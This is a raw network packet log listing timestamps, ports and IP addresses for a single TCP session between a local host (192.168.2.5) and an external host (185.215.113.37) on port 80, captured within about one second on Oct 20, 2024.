Oct 20, 2024 08:40:13.424057007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.424058914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.424073935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.424077988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.424088955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.424089909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.424104929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.424110889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.424129009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.424160004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.617800951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.617872000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.617925882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.617954969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.617980003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.617999077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618088007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618119955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618136883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618168116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618172884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618206024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618220091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618253946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618278980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618289948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618319035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618338108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618340015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618371010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618381977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618406057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618415117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618451118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618453979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618484974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618499041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618516922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618532896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618550062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618558884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618586063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618597031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618618965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618632078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618652105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618668079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618685007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618696928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618720055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618735075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618753910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618767023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618787050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618799925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618822098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.618833065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.618864059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.811656952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.811719894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.811732054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.811753035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.811760902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.811799049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.811805010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.811846018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.811871052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.811904907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.811916113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.811937094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.811945915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.811969995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.811981916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812002897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812011003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812047005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812055111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812102079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812114954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812155008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812163115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812199116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812202930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812239885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812247992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812279940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812289953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812324047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812347889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812381983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812402010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812416077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812427044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812448025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812459946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812480927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812484980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812511921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812522888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812546015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812557936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812582970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812589884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812594891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812618017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812627077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812644005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812664986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812674999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812697887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812707901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812731028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812738895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812762976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812772989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812781096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812812090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812829018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812844992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812854052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812875032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812891006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812907934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812925100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812939882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812958956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812967062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.812992096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.812995911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.813025951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.813036919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.813057899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.813066959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.813091040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.813098907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.813123941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.813133001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.813155890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.813169003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.813186884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.813193083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.813220978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.813239098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.813251972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.813256979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.813286066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.813292027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.813328028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006414890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006439924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006484032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006500959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006519079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006520987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006570101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006669998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006692886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006707907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006715059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006724119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006740093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006747007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006755114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006771088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006772041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006786108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006800890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006802082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006814003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006829023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006836891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006843090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006860971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006869078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006875992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006889105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006891012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006902933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006905079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006920099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006920099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006928921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006933928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006949902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006958961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006967068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006974936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006983995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.006990910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.006995916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007006884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007016897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007030964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007031918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007046938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007050991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007064104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007075071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007078886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007092953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007105112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007111073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007117987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007119894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007134914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007143974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007157087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007160902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007174015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007177114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007189035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007199049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007205963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007213116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007230997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007232904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007242918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007250071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007265091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007272005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007283926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007285118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007297993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007303953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007318020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007322073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007333994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007340908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007347107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007359028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007361889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007376909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007378101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007399082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007399082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007410049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007426023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007436037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007442951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007461071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007476091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007482052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007491112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007498980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007510900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007517099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007534027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007535934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007550001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007554054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007563114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007575989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007592916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007597923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007608891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007611990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007625103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007632017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007641077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007651091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007656097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007669926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007671118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007682085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007684946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007699013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007702112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007714033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007719994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007733107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007736921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007756948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007761002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007772923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007786989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007790089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007805109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007813931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007822990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007828951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007834911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007847071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007854939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007862091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007877111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007880926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007888079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007905006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007905006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007920980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007926941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007936954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007944107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007953882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007961988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007970095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007980108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.007988930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.007998943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008003950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008012056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008019924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008028030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008034945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008048058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008049965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008064032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008064032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008079052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008084059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008094072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008097887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008109093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008117914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008124113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008138895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008147001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008153915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008168936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008169889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008183956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008194923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008199930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008213997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.008219004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008239031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.008265972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.199244022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.199264050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.199273109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.199305058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.199326992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.199445963 CEST	80	49704	185.215.113.37	192.168.2.5
